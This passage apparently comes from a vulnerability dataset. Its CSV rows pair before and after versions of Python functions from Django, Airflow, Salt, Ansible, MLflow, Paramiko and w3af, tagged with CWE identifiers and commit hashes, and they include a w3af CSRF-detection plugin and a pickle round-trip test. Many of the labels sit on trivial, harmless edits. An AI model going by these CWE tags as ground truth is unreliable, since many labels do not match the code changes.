                and isinstance(last_arg.value, str)
                and last_arg.value.startswith(""mlflow."")
            ):
                self.lazy_modules[last_arg.value] = Location.from_node(node)

        if self._log_model_with_artifact_path(node):
            self._check(Location.from_node(node), rules.LogModelArtifactPath())

        if rules.UseSysExecutable.check(node, self.resolver):
            self._check(Location.from_node(node), rules.UseSysExecutable())

        if self.path.parts[0] != ""tests"" and rules.ForbiddenSetActiveModelUsage.check(
            node, self.resolver
        ):
            self._check(Location.from_node(node), rules.ForbiddenSetActiveModelUsage())

        if self.path.parts[0] != ""tests"" and rules.UnnamedThread.check(node, self.resolver):
            self._check(Location.from_node(node), rules.UnnamedThread())

        self.generic_visit(node)"
,UNKNOWN,UNKNOWN,django/db/models/query.py,1,"def __getitem__(self, k):
        """"""
        Retrieves an item or slice from the set of results.
        """"""
        if not isinstance(k, (slice,) + six.integer_types):
            raise TypeError
        assert ((not isinstance(k, slice) and (k >= 0))
                or (isinstance(k, slice) and (k.start is None or k.start >= 0)
                    and (k.stop is None or k.stop >= 0))), \
                ""Negative indexing is not supported.""

        if self._result_cache is not None:
            if self._iter is not None:
                # The result cache has only been partially populated, so we may
                # need to fill it out a bit more.
                if isinstance(k, slice):
                    if k.stop is not None:
                        # Some people insist on passing in strings here.
                        bound = int(k.stop)
                    else:
                        bound = None
                else:
                    bound = k + 1
                if len(self._result_cache) < bound:
                    self._fill_cache(bound - len(self._result_cache))
            return self._result_cache[k]

        if isinstance(k, slice):
            qs = self._clone()
            if k.start is not None:
                start = int(k.start)
            else:
                start = None
            if k.stop is not None:
                stop = int(k.stop)
            else:
                stop = None
            qs.query.set_limits(start, stop)
            return k.step and list(qs)[::k.step] or qs

        qs = self._clone()
        qs.query.set_limits(k, k + 1)
        return list(qs)[0]",CWE-703,django/django,a051a9d9297fa0c14e000d3cb8f47606cd9ae8a8,"def __getitem__(self, k):
        """"""
        Retrieves an item or slice from the set of results.
        """"""
        if not isinstance(k, (slice,) + six.integer_types):
            raise TypeError
        assert ((not isinstance(k, slice) and (k >= 0))
                or (isinstance(k, slice) and (k.start is None or k.start >= 0)
                    and (k.stop is None or k.stop >= 0))), \
                ""Negative indexing is not supported.""

        if self._result_cache is not None:
            if self._iter is not None:
                # The result cache has only been partially populated, so we may
                # need to fill it out a bit more.
                if isinstance(k, slice):
                    if k.stop is not None:
                        # Some people insist on passing in strings here.
                        bound = int(k.stop)
                    else:
                        bound = None
                else:
                    bound = k + 1
                if len(self._result_cache) < bound:
                    self._fill_cache(bound - len(self._result_cache))
            return self._result_cache[k]

        if isinstance(k, slice):
            qs = self._clone()
            if k.start is not None:
                start = int(k.start)
            else:
                start = None
            if k.stop is not None:
                stop = int(k.stop)
            else:
                stop = None
            qs.query.set_limits(start, stop)
            return k.step and list(qs)[::k.step] or qs
        try:
            qs = self._clone()
            qs.query.set_limits(k, k + 1)
            return list(qs)[0]
        except self.model.DoesNotExist as e:
            raise IndexError(e.args)"
,UNKNOWN,UNKNOWN,dev/breeze/src/airflow_breeze/params/build_ci_params.py,1,"def prepare_arguments_for_docker_build_command(self) -> list[str]:
        self.build_arg_values: list[str] = []
        # Required build args
        self._req_arg(""AIRFLOW_BRANCH"", self.airflow_branch)
        self._req_arg(""AIRFLOW_CONSTRAINTS_MODE"", self.airflow_constraints_mode)
        self._req_arg(""AIRFLOW_CONSTRAINTS_REFERENCE"", self.airflow_constraints_reference)
        self._req_arg(""AIRFLOW_EXTRAS"", self.airflow_extras)
        self._req_arg(""AIRFLOW_IMAGE_DATE_CREATED"", self.airflow_image_date_created)
        self._req_arg(""AIRFLOW_IMAGE_REPOSITORY"", self.airflow_image_repository)
        self._req_arg(""AIRFLOW_USE_UV"", self.use_uv)
        if self.use_uv:
            from airflow_breeze.utils.uv_utils import get_uv_timeout

            self._opt_arg(""UV_HTTP_TIMEOUT"", get_uv_timeout(self))
        self._req_arg(""AIRFLOW_VERSION"", self.airflow_version)
        self._req_arg(""BUILD_ID"", self.build_id)
        self._req_arg(""CONSTRAINTS_GITHUB_REPOSITORY"", self.constraints_github_repository)
        self._req_arg(""PYTHON_BASE_IMAGE"", self.python_base_image)
        if self.upgrade_to_newer_dependencies:
            self._opt_arg(""UPGRADE_INVALIDATION_STRING"", f""{random.randrange(2**32):x}"")
            if self.eager_upgrade_additional_requirements:
                # in case eager upgrade additional requirements have EOL, connect them together
                self._opt_arg(
                    ""EAGER_UPGRADE_ADDITIONAL_REQUIREMENTS"",
                    self.eager_upgrade_additional_requirements.replace(""\n"", """"),
                )
        # optional build args
        self._opt_arg(""AIRFLOW_CONSTRAINTS_LOCATION"", self.airflow_constraints_location)
        self._opt_arg(""ADDITIONAL_AIRFLOW_EXTRAS"", self.additional_airflow_extras)
        self._opt_arg(""ADDITIONAL_DEV_APT_COMMAND"", self.additional_dev_apt_command)
        self._opt_arg(""ADDITIONAL_DEV_APT_DEPS"", self.additional_dev_apt_deps)
        self._opt_arg(""ADDITIONAL_DEV_APT_ENV"", self.additional_dev_apt_env)
        self._opt_arg(""ADDITIONAL_PIP_INSTALL_FLAGS"", self.additional_pip_install_flags)
        self._opt_arg(""ADDITIONAL_PYTHON_DEPS"", self.additional_python_deps)
        self._opt_arg(""BUILD_PROGRESS"", self.build_progress)
        self._opt_arg(""COMMIT_SHA"", self.commit_sha)
        self._opt_arg(""DEV_APT_COMMAND"", self.dev_apt_command)
        self._opt_arg(""DEV_APT_DEPS"", self.dev_apt_deps)
        self._opt_arg(""DOCKER_HOST"", self.docker_host)
        self._opt_arg(""INSTALL_MYSQL_CLIENT_TYPE"", self.install_mysql_client_type)
        self._opt_arg(""VERSION_SUFFIX_FOR_PYPI"", self.version_suffix_for_pypi)
        # Convert to build args
        build_args = self._to_build_args()
        # Add cache directive
        return build_args",CWE-330,apache/airflow,9a4d14ca5b5a949615396a43cb15dffbbc428ff7,"def prepare_arguments_for_docker_build_command(self) -> list[str]:
        self.build_arg_values: list[str] = []
        # Required build args
        self._req_arg(""AIRFLOW_BRANCH"", self.airflow_branch)
        self._req_arg(""AIRFLOW_CONSTRAINTS_MODE"", self.airflow_constraints_mode)
        self._req_arg(""AIRFLOW_CONSTRAINTS_REFERENCE"", self.airflow_constraints_reference)
        self._req_arg(""AIRFLOW_EXTRAS"", self.airflow_extras)
        self._req_arg(""AIRFLOW_IMAGE_DATE_CREATED"", self.airflow_image_date_created)
        self._req_arg(""AIRFLOW_IMAGE_REPOSITORY"", self.airflow_image_repository)
        self._req_arg(""AIRFLOW_PRE_CACHED_PIP_PACKAGES"", self.airflow_pre_cached_pip_packages)
        self._req_arg(""AIRFLOW_USE_UV"", self.use_uv)
        if self.use_uv:
            from airflow_breeze.utils.uv_utils import get_uv_timeout

            self._opt_arg(""UV_HTTP_TIMEOUT"", get_uv_timeout(self))
        self._req_arg(""AIRFLOW_VERSION"", self.airflow_version)
        self._req_arg(""BUILD_ID"", self.build_id)
        self._req_arg(""CONSTRAINTS_GITHUB_REPOSITORY"", self.constraints_github_repository)
        self._req_arg(""PYTHON_BASE_IMAGE"", self.python_base_image)
        if self.upgrade_to_newer_dependencies:
            self._opt_arg(""UPGRADE_INVALIDATION_STRING"", f""{random.randrange(2**32):x}"")
            if self.eager_upgrade_additional_requirements:
                # in case eager upgrade additional requirements have EOL, connect them together
                self._opt_arg(
                    ""EAGER_UPGRADE_ADDITIONAL_REQUIREMENTS"",
                    self.eager_upgrade_additional_requirements.replace(""\n"", """"),
                )
        # optional build args
        self._opt_arg(""AIRFLOW_CONSTRAINTS_LOCATION"", self.airflow_constraints_location)
        self._opt_arg(""ADDITIONAL_AIRFLOW_EXTRAS"", self.additional_airflow_extras)
        self._opt_arg(""ADDITIONAL_DEV_APT_COMMAND"", self.additional_dev_apt_command)
        self._opt_arg(""ADDITIONAL_DEV_APT_DEPS"", self.additional_dev_apt_deps)
        self._opt_arg(""ADDITIONAL_DEV_APT_ENV"", self.additional_dev_apt_env)
        self._opt_arg(""ADDITIONAL_PIP_INSTALL_FLAGS"", self.additional_pip_install_flags)
        self._opt_arg(""ADDITIONAL_PYTHON_DEPS"", self.additional_python_deps)
        self._opt_arg(""BUILD_PROGRESS"", self.build_progress)
        self._opt_arg(""COMMIT_SHA"", self.commit_sha)
        self._opt_arg(""DEV_APT_COMMAND"", self.dev_apt_command)
        self._opt_arg(""DEV_APT_DEPS"", self.dev_apt_deps)
        self._opt_arg(""DOCKER_HOST"", self.docker_host)
        self._opt_arg(""INSTALL_MYSQL_CLIENT_TYPE"", self.install_mysql_client_type)
        self._opt_arg(""VERSION_SUFFIX_FOR_PYPI"", self.version_suffix_for_pypi)
        # Convert to build args
        build_args = self._to_build_args()
        # Add cache directive
        return build_args"
,UNKNOWN,UNKNOWN,helm_tests/airflow_aux/test_pod_launcher_role.py,1,"def test_pod_launcher_role(self, executor, rbac, allow, expected_accounts):
        docs = render_chart(
            values={
                ""rbac"": {""create"": rbac},
                ""allowPodLaunching"": allow,
                ""executor"": executor,
            },
            show_only=[""templates/rbac/pod-launcher-rolebinding.yaml""],
        )
        if expected_accounts:
            for idx, suffix in enumerate(expected_accounts):
                assert f""release-name-airflow-{suffix}"" == jmespath.search(f""subjects[{idx}].name"", docs[0])
        else:
            assert docs == []",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_pod_launcher_role(self, executor, rbac, allow, expected_accounts):
        docs = render_chart(
            values={
                ""rbac"": {""create"": rbac},
                ""allowPodLaunching"": allow,
                ""executor"": executor,
            },
            show_only=[""templates/rbac/pod-launcher-rolebinding.yaml""],
        )
        if expected_accounts:
            for idx, suffix in enumerate(expected_accounts):
                assert f""release-name-airflow-{suffix}"" == jmespath.search(f""subjects[{idx}].name"", docs[0])
        else:
            assert [] == docs"
,UNKNOWN,UNKNOWN,django/contrib/auth/middleware.py,1,"def process_request(self, request):
        from django.contrib.auth.models import SESSION_KEY
        assert hasattr(request, 'session'), ""The Django authentication middleware requires session middleware to be installed. Edit your MIDDLEWARE_CLASSES setting to insert 'django.contrib.sessions.middleware.SessionMiddleware'.""
        try:
            user_id = request.session[SESSION_KEY]
            request.user = UserWrapper(user_id)
        except KeyError:
            from django.contrib.auth.models import AnonymousUser
            request.user = AnonymousUser()
        return None",CWE-703,django/django,dc63d91c568e476e1bd966f849cea5705bdca1fe,"def process_request(self, request):
        from django.contrib.auth.models import SESSION_KEY
        assert hasattr(request, 'session'), ""The Django authentication middleware requires session middleware to be installed. Edit your MIDDLEWARE_CLASSES setting to insert 'django.contrib.sessions.middleware.SessionMiddleware'.""
        try:
            user_id = request.session[SESSION_KEY]
            request.user = UserWrapper(user_id)
        except KeyError:
            from django.parts.auth.anonymoususers import AnonymousUser
            request.user = AnonymousUser()
        return None"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/ec2_instance.py,0,"def build_top_level_options(params):
    spec = {}
    if params.get('image_id'):
        spec['ImageId'] = params['image_id']
    elif isinstance(params.get('image'), dict):
        image = params.get('image', {})
        spec['ImageId'] = image.get('id')
        if 'ramdisk' in image:
            spec['RamdiskId'] = image['ramdisk']
        if 'kernel' in image:
            spec['KernelId'] = image['kernel']
    if not spec.get('ImageId') and not params.get('launch_template'):
        module.fail_json(msg=""You must include an image_id or image.id parameter to create an instance, or use a launch_template."")

    if params.get('key_name') is not None:
        spec['KeyName'] = params.get('key_name')
    if params.get('user_data') is not None:
        spec['UserData'] = to_native(params.get('user_data'))
    elif params.get('tower_callback') is not None:
        spec['UserData'] = tower_callback_script(
            tower_conf=params.get('tower_callback'),
            windows=params.get('tower_callback').get('windows', False),
            passwd=params.get('tower_callback').get('set_password'),
        )

    if params.get('launch_template') is not None:
        spec['LaunchTemplate'] = {}
        if not params.get('launch_template').get('id') or params.get('launch_template').get('name'):
            module.fail_json(msg=""Could not create instance with launch template. Either launch_template.name or launch_template.id parameters are required"")

        if params.get('launch_template').get('id') is not None:
            spec['LaunchTemplate']['LaunchTemplateId'] = params.get('launch_template').get('id')
        if params.get('launch_template').get('name') is not None:
            spec['LaunchTemplate']['LaunchTemplateName'] = params.get('launch_template').get('name')
        if params.get('launch_template').get('version') is not None:
            spec['LaunchTemplate']['Version'] = to_native(params.get('launch_template').get('version'))

    if params.get('detailed_monitoring', False):
        spec['Monitoring'] = {'Enabled': True}
    if params.get('cpu_credit_specification') is not None:
        spec['CreditSpecification'] = {'CpuCredits': params.get('cpu_credit_specification')}
    if params.get('tenancy') is not None:
        spec['Placement'] = {'Tenancy': params.get('tenancy')}
    if params.get('placement_group'):
        spec.setdefault('Placement', {'GroupName': str(params.get('placement_group'))})
    if params.get('ebs_optimized') is not None:
        spec['EbsOptimized'] = params.get('ebs_optimized')
    if params.get('instance_initiated_shutdown_behavior'):
        spec['InstanceInitiatedShutdownBehavior'] = params.get('instance_initiated_shutdown_behavior')
    if params.get('termination_protection') is not None:
        spec['DisableApiTermination'] = params.get('termination_protection')
    if params.get('cpu_options') is not None:
        spec['CpuOptions'] = {}
        spec['CpuOptions']['ThreadsPerCore'] = params.get('cpu_options').get('threads_per_core')
        spec['CpuOptions']['CoreCount'] = params.get('cpu_options').get('core_count')
    return spec",,ansible/ansible,bc9074404edb043b98576f34a719b34dcdf311f7,"def build_top_level_options(params):
    spec = {}
    if params.get('image_id'):
        spec['ImageId'] = params['image_id']
    elif isinstance(params.get('image'), dict):
        image = params.get('image', {})
        spec['ImageId'] = image.get('id')
        if 'ramdisk' in image:
            spec['RamdiskId'] = image['ramdisk']
        if 'kernel' in image:
            spec['KernelId'] = image['kernel']
    if not spec.get('ImageId') and not params.get('launch_template'):
        module.fail_json(msg=""You must include an image_id or image.id parameter to create an instance, or use a launch_template."")

    if params.get('key_name') is not None:
        spec['KeyName'] = params.get('key_name')
    if params.get('user_data') is not None:
        spec['UserData'] = to_native(params.get('user_data'))
    elif params.get('tower_callback') is not None:
        spec['UserData'] = tower_callback_script(
            tower_conf=params.get('tower_callback'),
            windows=params.get('tower_callback').get('windows', False),
            passwd=params.get('tower_callback').get('set_password'),
        )

    if params.get('launch_template') is not None:
        spec['LaunchTemplate'] = {}
        if not params.get('launch_template').get('id') or params.get('launch_template').get('name'):
            module.fail_json(msg=""Could not create instance with launch template. Either launch_template.name or launch_template.id parameters are required"")

        if params.get('launch_template').get('id') is not None:
            spec['LaunchTemplate']['LaunchTemplateId'] = params.get('launch_template').get('id')
        if params.get('launch_template').get('name') is not None:
            spec['LaunchTemplate']['LaunchTemplateName'] = params.get('launch_template').get('name')
        if params.get('launch_template').get('version') is not None:
            spec['LaunchTemplate']['Version'] = to_native(params.get('launch_template').get('version'))

    if params.get('detailed_monitoring', False):
        spec['Monitoring'] = {'Enabled': True}
    if params.get('cpu_credit_specification') is not None:
        spec['CreditSpecification'] = {'CpuCredits': params.get('cpu_credit_specification')}
    if params.get('tenancy') is not None:
        spec['Placement'] = {'Tenancy': params.get('tenancy')}
    if params.get('placement_group'):
        spec.setdefault('Placement', {'GroupName': str(params.get('placement_group'))})
    if params.get('ebs_optimized') is not None:
        spec['EbsOptimized'] = params.get('ebs_optimized')
    elif (params.get('network') or {}).get('ebs_optimized') is not None:
        # Backward compatibility for workaround described in https://github.com/ansible/ansible/issues/48159
        spec['EbsOptimized'] = params['network'].get('ebs_optimized')
    if params.get('instance_initiated_shutdown_behavior'):
        spec['InstanceInitiatedShutdownBehavior'] = params.get('instance_initiated_shutdown_behavior')
    if params.get('termination_protection') is not None:
        spec['DisableApiTermination'] = params.get('termination_protection')
    if params.get('cpu_options') is not None:
        spec['CpuOptions'] = {}
        spec['CpuOptions']['ThreadsPerCore'] = params.get('cpu_options').get('threads_per_core')
        spec['CpuOptions']['CoreCount'] = params.get('cpu_options').get('core_count')
    return spec"
,UNKNOWN,UNKNOWN,tests/pytests/unit/test_minion.py,1,"def test_scheduler_before_connect():
    """"""
    Tests that the 'scheduler_before_connect' option causes the scheduler to be initialized before connect.
    """"""
    with patch(""salt.minion.Minion.ctx"", MagicMock(return_value={})), patch(
        ""salt.minion.Minion.sync_connect_master"",
        MagicMock(side_effect=RuntimeError(""stop execution"")),
    ), patch(
        ""salt.utils.process.SignalHandlingProcess.start"",
        MagicMock(return_value=True),
    ), patch(
        ""salt.utils.process.SignalHandlingProcess.join"",
        MagicMock(return_value=True),
    ):
        mock_opts = salt.config.DEFAULT_MINION_OPTS.copy()
        mock_opts[""scheduler_before_connect""] = True
        io_loop = salt.ext.tornado.ioloop.IOLoop()
        io_loop.make_current()
        minion = salt.minion.Minion(mock_opts, io_loop=io_loop)
        try:
            try:
                minion.tune_in(start=True)
            except RuntimeError:
                pass

            # Make sure the scheduler is initialized but the beacons are not
            assert ""schedule"" in minion.periodic_callbacks
            assert ""beacons"" not in minion.periodic_callbacks
        finally:
            minion.destroy()",CWE-703,saltstack/salt,aaf53826d025e1a3dd0f8c3a70b198b0ba4ce27e,"def test_scheduler_before_connect():
    """"""
    Tests that the 'scheduler_before_connect' option causes the scheduler to be initialized before connect.
    """"""
    with patch(""salt.minion.Minion.ctx"", MagicMock(return_value={})), patch(
        ""salt.minion.Minion.sync_connect_master"",
        MagicMock(side_effect=RuntimeError(""stop execution"")),
    ), patch(
        ""salt.utils.process.SignalHandlingProcess.start"",
        MagicMock(return_value=True),
    ), patch(
        ""salt.utils.process.SignalHandlingProcess.join"",
        MagicMock(return_value=True),
    ):
        mock_opts = salt.config.DEFAULT_MINION_OPTS.copy()
        mock_opts[""scheduler_before_connect""] = True
        io_loop = salt.ext.tornado.ioloop.IOLoop()
        io_loop.make_current()
        minion = salt.minion.Minion(mock_opts, io_loop=io_loop)
        try:
            try:
                minion.tune_in(start=True)
            except RuntimeError:
                pass

            # Make sure the scheduler is initialized but the beacons are not
            assert ""schedule"" in minion.periodic_callbacks
            assert ""beacons"" not in minion.periodic_callbacks
        finally:
            minion.destroy()"
,UNKNOWN,UNKNOWN,tests/core.py,1,"def test_config_throw_error_when_original_and_fallback_is_absent(self):
        assert configuration.has_option(""core"", ""FERNET_KEY"")
        assert not configuration.has_option(""core"", ""FERNET_KEY_CMD"")

        FERNET_KEY = configuration.get(""core"", ""FERNET_KEY"")
        configuration.remove_option(""core"", ""FERNET_KEY"")

        with self.assertRaises(AirflowConfigException) as cm:
            configuration.get(""core"", ""FERNET_KEY"")

        exception = str(cm.exception)
        message = ""section/key [core/fernet_key] not found in config""
        assert exception == message

        # restore the conf back to the original state
        configuration.set(""core"", ""FERNET_KEY"", FERNET_KEY)
        assert configuration.has_option(""core"", ""FERNET_KEY"")",CWE-703,apache/airflow,5405f5f83c6e20fff2dc209cd4be3d1d5ea85140,"def test_config_throw_error_when_original_and_fallback_is_absent(self):
        assert configuration.has_option(""core"", ""FERNET_KEY"")
        assert not configuration.has_option(""core"", ""FERNET_KEY_CMD"")

        FERNET_KEY = configuration.get(""core"", ""FERNET_KEY"")
        configuration.remove_option(""core"", ""FERNET_KEY"")

        with self.assertRaises(AirflowConfigException) as cm:
            configuration.get(""core"", ""FERNET_KEY"")

        exception = str(cm.exception)
        message = ""section/key [core/fernet_key] not found in config""
        assert exception == message

        # restore the conf back to the original state
        configuration.set(""core"", ""FERNET_KEY"", FERNET_KEY)
        assert configuration.has_option(""core"", ""FERNET_KEY"")"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/loader.py,0,"def _load(self, key):
        '''
        Load a single item if you have it
        '''
        # if the key doesn't have a '.' then it isn't valid for this mod dict
        if type(key) != str or '.' not in key:
            raise KeyError
        mod_name, _ = key.split('.', 1)
        if mod_name in self.missing_modules:
            return True
        # if the modulename isn't in the whitelist, don't bother
        if self.whitelist and mod_name not in self.whitelist:
            raise KeyError

        def _inner_load(mod_name):
            for name in self._iter_files(mod_name):
                if name in self.loaded_files:
                    continue
                # if we got what we wanted, we are done
                if self._load_module(name) and key in self._dict:
                    return True
            return False

        # try to load the module
        ret = None
        reloaded = False
        # re-scan up to once, IOErrors or a failed load cause re-scans of the
        # filesystem
        while True:
            try:
                ret = _inner_load(mod_name)
                if not reloaded and ret is not True:
                    self.refresh_file_mapping()
                    reloaded = True
                    continue
                break
            except IOError:
                if not reloaded:
                    self.refresh_file_mapping()
                    reloaded = True
                continue

        return ret",,saltstack/salt,c4b9c076e8843bdedb3d0d4cb75f89000e69b7d0,"def _load(self, key):
        '''
        Load a single item if you have it
        '''
        # if the key doesn't have a '.' then it isn't valid for this mod dict
        if key is None or '.' not in key:
            raise KeyError
        mod_name, _ = key.split('.', 1)
        if mod_name in self.missing_modules:
            return True
        # if the modulename isn't in the whitelist, don't bother
        if self.whitelist and mod_name not in self.whitelist:
            raise KeyError

        def _inner_load(mod_name):
            for name in self._iter_files(mod_name):
                if name in self.loaded_files:
                    continue
                # if we got what we wanted, we are done
                if self._load_module(name) and key in self._dict:
                    return True
            return False

        # try to load the module
        ret = None
        reloaded = False
        # re-scan up to once, IOErrors or a failed load cause re-scans of the
        # filesystem
        while True:
            try:
                ret = _inner_load(mod_name)
                if not reloaded and ret is not True:
                    self.refresh_file_mapping()
                    reloaded = True
                    continue
                break
            except IOError:
                if not reloaded:
                    self.refresh_file_mapping()
                    reloaded = True
                continue

        return ret"
,UNKNOWN,UNKNOWN,tests/cli/commands/test_db_command.py,1,"def test_cli_shell_postgres(self, mock_execute_interactive):
        db_command.shell(self.parser.parse_args([""db"", ""shell""]))
        mock_execute_interactive.assert_called_once_with([""psql""], env=mock.ANY)
        _, kwargs = mock_execute_interactive.call_args
        env = kwargs[""env""]
        postgres_env = {k: v for k, v in env.items() if k.startswith(""PG"")}
        assert postgres_env == {
            ""PGDATABASE"": ""airflow"",
            ""PGHOST"": ""postgres"",
            ""PGPASSWORD"": ""airflow"",
            ""PGPORT"": ""5432"",
            ""PGUSER"": ""postgres"",
        }",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_cli_shell_postgres(self, mock_execute_interactive):
        db_command.shell(self.parser.parse_args([""db"", ""shell""]))
        mock_execute_interactive.assert_called_once_with([""psql""], env=mock.ANY)
        _, kwargs = mock_execute_interactive.call_args
        env = kwargs[""env""]
        postgres_env = {k: v for k, v in env.items() if k.startswith(""PG"")}
        assert {
            ""PGDATABASE"": ""airflow"",
            ""PGHOST"": ""postgres"",
            ""PGPASSWORD"": ""airflow"",
            ""PGPORT"": ""5432"",
            ""PGUSER"": ""postgres"",
        } == postgres_env"
,UNKNOWN,UNKNOWN,providers/standard/tests/unit/standard/operators/test_trigger_dagrun.py,1,"def test_extra_operator_link(self, mock_xcom_get_one, dag_maker):
        with dag_maker(TEST_DAG_ID, default_args={""start_date"": DEFAULT_DATE}, serialized=True):
            task = TriggerDagRunOperator(
                task_id=""test_task"",
                trigger_dag_id=TRIGGERED_DAG_ID,
                trigger_run_id=""test_run_id"",
                conf={""foo"": ""bar""},
            )

        dr = dag_maker.create_dagrun(run_id=""test_run_id"")
        ti = dr.get_task_instance(task_id=task.task_id)

        mock_xcom_get_one.return_value = ti.run_id

        link = task.operator_extra_links[0].get_link(operator=task, ti_key=ti.key)

        base_url = conf.get(""api"", ""base_url"", fallback=""/"").lower()
        expected_url = f""{base_url}dags/{TRIGGERED_DAG_ID}/runs/test_run_id""
        assert link == expected_url, f""Expected {expected_url}, but got {link}""",CWE-703,apache/airflow,b58f027cbf39e5eea982a5560b22024e2de328a8,"def test_extra_operator_link(self, mock_xcom_get_one, dag_maker):
        with dag_maker(TEST_DAG_ID, default_args={""start_date"": DEFAULT_DATE}, serialized=True):
            task = TriggerDagRunOperator(
                task_id=""test_task"",
                trigger_dag_id=TRIGGERED_DAG_ID,
                trigger_run_id=""test_run_id"",
                conf={""foo"": ""bar""},
            )

        dr = dag_maker.create_dagrun(run_id=""test_run_id"")
        ti = dr.get_task_instance(task_id=task.task_id)

        mock_xcom_get_one.return_value = ti.run_id

        link = task.operator_extra_links[0].get_link(operator=task, ti_key=ti.key)

        base_url = conf.get_mandatory_value(""api"", ""base_url"").lower()
        expected_url = f""{base_url}dags/{TRIGGERED_DAG_ID}/runs/test_run_id""
        assert link == expected_url, f""Expected {expected_url}, but got {link}"""
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/artifact/runs_artifact_repo.py,0,"def __init__(self, artifact_uri):
        from mlflow.store.artifact.artifact_repository_registry import get_artifact_repository

        super().__init__(artifact_uri)
        uri = RunsArtifactRepository.get_underlying_uri(artifact_uri)
        self.repo = get_artifact_repository(uri)",,mlflow/mlflow,c967e22676156ad33ba544537a655b056b4c237c,"def __init__(self, artifact_uri):
        from mlflow.store.artifact.artifact_repository_registry import get_artifact_repository

        super(RunsArtifactRepository, self).__init__(artifact_uri)
        uri = RunsArtifactRepository.get_underlying_uri(artifact_uri)
        self.repo = get_artifact_repository(uri)"
,UNKNOWN,UNKNOWN,tests/regressiontests/templates/response.py,1,"def test_repickling(self):
        response = SimpleTemplateResponse('first/test.html', {
                'value': 123,
                'fn': datetime.now,
            })
        self.assertRaises(ContentNotRenderedError,
                          pickle.dumps, response)

        response.render()
        pickled_response = pickle.dumps(response)
        unpickled_response = pickle.loads(pickled_response)
        repickled_response = pickle.dumps(unpickled_response)",CWE-502,django/django,6554137eebe4bd10bdf3f1be21f63f0a9cffd7ff,"def test_repickling(self):
        response = SimpleTemplateResponse('first/test.html', {
                'value': 123,
                'fn': datetime.now,
            })
        self.assertRaises(ContentNotRenderedError,
                          pickle.dumps, response)

        response.render()
        pickled_response = pickle.dumps(response)
        unpickled_response = pickle.loads(pickled_response)
        repickled_response = pickle.dumps(unpickled_response)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/sftp_si.py,0,"def rename(self, oldpath, newpath):
        """"""
        Rename (or move) a file.  The SFTP specification implies that this
        method can be used to move an existing file into a different folder,
        and since there's no other (easy) way to move files via SFTP, it's
        probably a good idea to implement ""move"" in this method too, even for
        files that cross disk partition boundaries, if at all possible.

        .. note:: You should return an error if a file with the same name as
            ``newpath`` already exists.  (The rename operation should be
            non-desctructive.)

        .. note::
            This method implements 'standard' SFTP ``RENAME`` behavior; those
            seeking the OpenSSH ""POSIX rename"" extension behavior should use
            `posix_rename`.

        :param str oldpath:
            the requested path (relative or absolute) of the existing file.
        :param str newpath: the requested new path of the file.
        :return: an SFTP error code `int` like ``SFTP_OK``.
        """"""
        return SFTP_OP_UNSUPPORTED",,paramiko/paramiko,3e505d2bb9a434de7084535532f06da048698d14,"def rename(self, oldpath, newpath):
        """"""
        Rename (or move) a file.  The SFTP specification implies that this
        method can be used to move an existing file into a different folder,
        and since there's no other (easy) way to move files via SFTP, it's
        probably a good idea to implement ""move"" in this method too, even for
        files that cross disk partition boundaries, if at all possible.

        .. note:: You should return an error if a file with the same name as
            ``newpath`` already exists.  (The rename operation should be
            non-desctructive.)

        :param str oldpath:
            the requested path (relative or absolute) of the existing file.
        :param str newpath: the requested new path of the file.
        :return: an SFTP error code `int` like ``SFTP_OK``.
        """"""
        return SFTP_OP_UNSUPPORTED"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/xsrf.py,0,"def audit(self, freq ):
        '''
        Tests an URL for xsrf vulnerabilities.
        
        @param freq: A fuzzableRequest
        '''
        om.out.debug( 'xsrf plugin is testing: ' + freq.getURL() )

        # Vulnerable by definition
        if freq.getMethod() == 'GET' and hasQueryString( freq.getURI() ):
            
            # Now check if we already added this target URL to the list
            already_added = [ v.getURL() for v in self._vuln_simple ]
            if freq.getURL() not in already_added:
                
                # Vulnerable and not in list, add:
                v = vuln.vuln()
                v.setPluginName(self.getName())
                v.setURL( freq.getURL() )
                v.setDc( freq.getDc() )
                v.setName( 'Cross site request forgery vulnerability' )
                v.setSeverity(severity.LOW)
                v.setMethod( freq.getMethod() )
                v.setDesc( 'The URL: ' + freq.getURL() + ' is vulnerable to cross site request forgery.' )
                self._vuln_simple.append( v )
        
        # This is a POST request that can be sent using a GET and querystring
        # Vulnerable by definition
        elif freq.getMethod() =='POST' and len ( freq.getDc() ) and isExchangable( self, freq ):
            
            # Now check if we already added this target URL to the list
            already_added = [ v.getURL() for v in self._vuln_complex ]
            if freq.getURL() not in already_added:
                
                # Vulnerable and not in list, add:
                v = vuln.vuln()
                v.setPluginName(self.getName())
                v.setURL( freq.getURL() )
                v.setSeverity(severity.LOW)
                v.setDc( freq.getDc() )
                v.setName( 'Cross site request forgery vulnerability' )
                v.setMethod( freq.getMethod() )
                msg = 'The URL: ' + freq.getURL() + ' is vulnerable to cross site request forgery.'
                msg += ' It allows the attacker to exchange the method from POST to GET when sending'
                msg += ' data to the server.'
                v.setDesc( msg )
                self._vuln_complex.append( v )",,andresriancho/w3af,c1122622227cac1899919aa1e5594d831f6e173f,"def audit(self, freq ):
        '''
        Tests an URL for xsrf vulnerabilities.
        
        @param freq: A fuzzableRequest
        '''
        om.out.debug( 'xsrf plugin is testing: ' + freq.getURL() )

        # Vulnerable by definition
        if freq.getMethod() == 'GET' and hasQueryString( freq.getURI() ):
            
            # Now check if we already added this target URL to the list
            already_added = [ v.getURL() for v in self._vuln_simple ]
            if freq.getURL() not in already_added:
                
                # Vulnerable and not in list, add:
                v = vuln.vuln()
                v.setURL( freq.getURL() )
                v.setDc( freq.getDc() )
                v.setName( 'Cross site request forgery vulnerability' )
                v.setSeverity(severity.LOW)
                v.setMethod( freq.getMethod() )
                v.setDesc( 'The URL: ' + freq.getURL() + ' is vulnerable to cross site request forgery.' )
                self._vuln_simple.append( v )
        
        # This is a POST request that can be sent using a GET and querystring
        # Vulnerable by definition
        elif freq.getMethod() =='POST' and len ( freq.getDc() ) and isExchangable( self, freq ):
            
            # Now check if we already added this target URL to the list
            already_added = [ v.getURL() for v in self._vuln_complex ]
